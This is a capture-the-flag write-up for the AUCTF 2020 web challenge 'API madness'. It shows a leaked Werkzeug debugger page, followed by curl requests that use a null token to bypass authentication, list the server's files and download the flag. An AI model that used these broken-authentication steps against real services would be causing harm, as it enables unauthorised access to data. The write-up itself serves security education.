Tags: api web 

Rating:

# AUCTF 2020 – API madness

* **Category:** web
* **Points:** 926

## Challenge

> http://challenges.auctf.com:30023
>
> We are building out our new API. We even have authentication built in!
>
> Author: shinigami

## Solution

Connecting to `http://challenges.auctf.com:30023` you will get the following message.

```
{
"NOTE": "For API help visit our help page /static/help",
"status": "OK"
}
```

The help page at `http://challenges.auctf.com:30023/static/help` will give you the following information.

```html
<html>
<body>
<center><h1>FTP Server API Help Page</h1></center>




<h2>Endpoints</h2>

/api/login - POST


/api/ftp/dir - POST


/api/ftp/get_file - POST






<h2>Params</h2>

/api/login - username, password


/ftp/dir - dir


/ftp/get_file - file


</body>
</html>
```

So the following API endpoints are available:
* `/api/login` - `HTTP POST` with `username`, `password` JSON parameters;
* `/api/ftp/dir` - `HTTP POST` with `dir` JSON parameter;
* `/api/ftp/get_file` - `HTTP POST` with `file` JSON parameter.

Using the `/api/login` endpoint an error page will appear.

```html

<html>
<head>
<title>ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',)) // Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css"
type="text/css">

<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=jquery.js"></script>
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script type="text/javascript">
var TRACEBACK = 140737215262864,
CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "OG4SiyCTEaRwR1zKkBzE";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>requests.exceptions.ConnectionError</h1>
<div class="detail">

ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',))


</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">

  • <div class="frame" id="frame-140737210047568">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">2463</em>,
    in __call__</h4>
    <div class="source library">
    <span></span> 

    <span>    </span>def __call__(self, environ, start_response):

    <span>        </span>"""The WSGI server calls the Flask application object as the

    <span>        </span>WSGI application. This calls :meth:`wsgi_app` which can be

    <span>        </span>wrapped to applying middleware."""

    <span>        </span>return self.wsgi_app(environ, start_response)

    <span></span> 

    <span>    </span>def __repr__(self):

    <span>        </span>return "<%s %r>" % (self.__class__.__name__, self.name)
    </div>
    </div>

  • <div class="frame" id="frame-140737214819088">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">2449</em>,
    in wsgi_app</h4>
    <div class="source library">
    <span>            </span>try:

    <span>                </span>ctx.push()

    <span>                </span>response = self.full_dispatch_request()

    <span>            </span>except Exception as e:

    <span>                </span>error = e

    <span>                </span>response = self.handle_exception(e)

    <span>            </span>except:  # noqa: B001

    <span>                </span>error = sys.exc_info()[1]

    <span>                </span>raise

    <span>            </span>return response(environ, start_response)

    <span>        </span>finally:
    </div>
    </div>

  • <div class="frame" id="frame-140737214819152">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">1866</em>,
    in handle_exception</h4>
    <div class="source library">
    <span>            </span># if we want to repropagate the exception, we can attempt to

    <span>            </span># raise it with the whole traceback in case we can do that

    <span>            </span># (the function was actually called from the except part)

    <span>            </span># otherwise, we just raise the error again

    <span>            </span>if exc_value is e:

    <span>                </span>reraise(exc_type, exc_value, tb)

    <span>            </span>else:

    <span>                </span>raise e

    <span></span> 

    <span>        </span>self.log_exception((exc_type, exc_value, tb))

    <span>        </span>server_error = InternalServerError()
    </div>
    </div>

  • <div class="frame" id="frame-140737182617552">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">2446</em>,
    in wsgi_app</h4>
    <div class="source library">
    <span>        </span>ctx = self.request_context(environ)

    <span>        </span>error = None

    <span>        </span>try:

    <span>            </span>try:

    <span>                </span>ctx.push()

    <span>                </span>response = self.full_dispatch_request()

    <span>            </span>except Exception as e:

    <span>                </span>error = e

    <span>                </span>response = self.handle_exception(e)

    <span>            </span>except:  # noqa: B001

    <span>                </span>error = sys.exc_info()[1]
    </div>
    </div>

  • <div class="frame" id="frame-140737182616784">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">1951</em>,
    in full_dispatch_request</h4>
    <div class="source library">
    <span>            </span>request_started.send(self)

    <span>            </span>rv = self.preprocess_request()

    <span>            </span>if rv is None:

    <span>                </span>rv = self.dispatch_request()

    <span>        </span>except Exception as e:

    <span>            </span>rv = self.handle_user_exception(e)

    <span>        </span>return self.finalize_request(rv)

    <span></span> 

    <span>    </span>def finalize_request(self, rv, from_error_handler=False):

    <span>        </span>"""Given the return value from a view function this finalizes

    <span>        </span>the request by converting it into a response and invoking the
    </div>
    </div>

  • <div class="frame" id="frame-140737347119056">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">1820</em>,
    in handle_user_exception</h4>
    <div class="source library">
    <span>            </span>return self.handle_http_exception(e)

    <span></span> 

    <span>        </span>handler = self._find_error_handler(e)

    <span></span> 

    <span>        </span>if handler is None:

    <span>            </span>reraise(exc_type, exc_value, tb)

    <span>        </span>return handler(e)

    <span></span> 

    <span>    </span>def handle_exception(self, e):

    <span>        </span>"""Handle an exception that did not have an error handler

    <span>        </span>associated with it, or that was raised from an error handler.
    </div>
    </div>

  • <div class="frame" id="frame-140737210047696">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">1949</em>,
    in full_dispatch_request</h4>
    <div class="source library">
    <span>        </span>self.try_trigger_before_first_request_functions()

    <span>        </span>try:

    <span>            </span>request_started.send(self)

    <span>            </span>rv = self.preprocess_request()

    <span>            </span>if rv is None:

    <span>                </span>rv = self.dispatch_request()

    <span>        </span>except Exception as e:

    <span>            </span>rv = self.handle_user_exception(e)

    <span>        </span>return self.finalize_request(rv)

    <span></span> 

    <span>    </span>def finalize_request(self, rv, from_error_handler=False):
    </div>
    </div>

  • <div class="frame" id="frame-140737214759056">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>,
    line <em class="line">1935</em>,
    in dispatch_request</h4>
    <div class="source library">
    <span>            </span>getattr(rule, "provide_automatic_options", False)

    <span>            </span>and req.method == "OPTIONS"

    <span>        </span>):

    <span>            </span>return self.make_default_options_response()

    <span>        </span># otherwise dispatch to the handler for that endpoint

    <span>        </span>return self.view_functions[rule.endpoint](**req.view_args)

    <span></span> 

    <span>    </span>def full_dispatch_request(self):

    <span>        </span>"""Dispatches the request and on top of that performs request

    <span>        </span>pre and postprocessing as well as HTTP exception catching and

    <span>        </span>error handling.
    </div>
    </div>

  • <div class="frame" id="frame-140737210048400">
    <h4>File <cite class="filename">"/web_server.py"</cite>,
    line <em class="line">21</em>,
    in try_login</h4>
    <div class="source ">
    <span>    </span>if not request.json or 'username' not in request.json:

    <span>        </span>abort(400)

    <span>    </span>username = request.json['username']

    <span>    </span>password = request.json.get("password","")

    <span>    </span>login_check = {"username":username,"password":password}

    <span>    </span>token = r.post("http://10.0.2.8/api/login_check",json=login_check).json()['token']

    <span>    </span>r_data = {"status":"OK", "token":token}

    <span>    </span>return jsonify(r_data)

    <span></span> 

    <span></span>@app.route('/static/help')

    <span></span>def help_page():
    </div>
    </div>

  • <div class="frame" id="frame-140737210047760">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/api.py"</cite>,
    line <em class="line">112</em>,
    in post</h4>
    <div class="source library">
    <span>    </span>:param \*\*kwargs: Optional arguments that ``request`` takes.

    <span>    </span>:return: :class:`Response <Response>` object

    <span>    </span>:rtype: requests.Response

    <span>    </span>"""

    <span></span> 

    <span>    </span>return request('post', url, data=data, json=json, **kwargs)

    <span></span> 

    <span></span> 

    <span></span>def put(url, data=None, **kwargs):

    <span>    </span>r"""Sends a PUT request.

    <span></span> 
    </div>
    </div>

  • <div class="frame" id="frame-140737219802320">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/api.py"</cite>,
    line <em class="line">58</em>,
    in request</h4>
    <div class="source library">
    <span></span> 

    <span>    </span># By using the 'with' statement we are sure the session is closed, thus we

    <span>    </span># avoid leaving sockets open which can trigger a ResourceWarning in some

    <span>    </span># cases, and look like a memory leak in others.

    <span>    </span>with sessions.Session() as session:

    <span>        </span>return session.request(method=method, url=url, **kwargs)

    <span></span> 

    <span></span> 

    <span></span>def get(url, params=None, **kwargs):

    <span>    </span>r"""Sends a GET request.

    <span></span> 
    </div>
    </div>

  • <div class="frame" id="frame-140737219805136">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/sessions.py"</cite>,
    line <em class="line">508</em>,
    in request</h4>
    <div class="source library">
    <span>        </span>send_kwargs = {

    <span>            </span>'timeout': timeout,

    <span>            </span>'allow_redirects': allow_redirects,

    <span>        </span>}

    <span>        </span>send_kwargs.update(settings)

    <span>        </span>resp = self.send(prep, **send_kwargs)

    <span></span> 

    <span>        </span>return resp

    <span></span> 

    <span>    </span>def get(self, url, **kwargs):

    <span>        </span>r"""Sends a GET request. Returns :class:`Response` object.
    </div>
    </div>

  • <div class="frame" id="frame-140737293459984">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/sessions.py"</cite>,
    line <em class="line">618</em>,
    in send</h4>
    <div class="source library">
    <span></span> 

    <span>        </span># Start time (approximately) of the request

    <span>        </span>start = preferred_clock()

    <span></span> 

    <span>        </span># Send the request

    <span>        </span>r = adapter.send(request, **kwargs)

    <span></span> 

    <span>        </span># Total elapsed time of the request (approximately)

    <span>        </span>elapsed = preferred_clock() - start

    <span>        </span>r.elapsed = timedelta(seconds=elapsed)

    <span></span> 
    </div>
    </div>

  • <div class="frame" id="frame-140737328661136">
    <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/adapters.py"</cite>,
    line <em class="line">508</em>,
    in send</h4>
    <div class="source library">
    <span></span> 

    <span>            </span>if isinstance(e.reason, _SSLError):

    <span>                </span># This branch is for urllib3 v1.22 and later.

    <span>                </span>raise SSLError(e, request=request)

    <span></span> 

    <span>            </span>raise ConnectionError(e, request=request)

    <span></span> 

    <span>        </span>except ClosedPoolError as e:

    <span>            </span>raise ConnectionError(e, request=request)

    <span></span> 

    <span>        </span>except _ProxyError as e:
    </div>
    </div>

<blockquote>ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',))</blockquote>
</div>

<div class="plain">
<form action="/?__debugger__=yes&cmd=paste" method="post">


<input type="hidden" name="language" value="pytb">
This is the Copy/Paste friendly version of the traceback. <span>You can also paste this traceback into
a gist:
<input type="submit" value="create paste"></span>


<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2463, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2449, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1866, in handle_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2446, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1951, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1820, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1949, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1935, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "/web_server.py", line 21, in try_login
token = r.post("http://10.0.2.8/api/login_check",json=login_check).json()['token']
File "/usr/local/lib/python2.7/site-packages/requests/api.py", line 112, in post
return request('post', url, data=data, json=json, **kwargs)
File "/usr/local/lib/python2.7/site-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python2.7/site-packages/requests/sessions.py", line 508, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python2.7/site-packages/requests/sessions.py", line 618, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python2.7/site-packages/requests/adapters.py", line 508, in send
raise ConnectionError(e, request=request)
ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',))</textarea>
</form>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span>
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by DON'T PANIC, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>

<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>


The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>

PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>

```

The error will leak `http://challenges.auctf.com:30023/api/login_check` endpoint. Trying to use it, you will get a "null token".

```
$ curl -X POST -H "Content-Type: application/json" -d '{"username":"m3ssap0","password":"password"}' http://challenges.auctf.com:30023/api/login_check
{
"token": null
}
```

This "token" can be used to authenticate on other endpoints to discover and retrieve the flag file (i.e. *Broken Authentication* vulnerability in *OWASP Top 10*).

```
$ curl -X POST -H "Content-Type: application/json" -d '{"dir":".", "token":null}' http://challenges.auctf.com:30023/api/ftp/dir
{
"dir": [
".dockerenv",
"bin",
"boot",
"dev",
"etc",
"flag.txt",
"ftp_server.py",
"home",
"lib",
"lib64",
"media",
"mnt",
"opt",
"proc",
"root",
"run",
"sbin",
"srv",
"startup.sh",
"sys",
"templates",
"tmp",
"usr",
"var",
"web_server.py"
],
"status": "OK"
}

$ curl -X POST -H "Content-Type: application/json" -d '{"file":"flag.txt", "token":null}' http://challenges.auctf.com:30023/api/ftp/get_file
{
"file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==\n",
"status": "OK"
}
```

The data is base64 encoded (`YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==`); decoding it you will find the flag.

```
auctf{0w@sp_6roK3N_@uth}
```

Original writeup (https://github.com/m3ssap0/CTF-Writeups/blob/master/AUCTF%202020/API%20madness/README.md).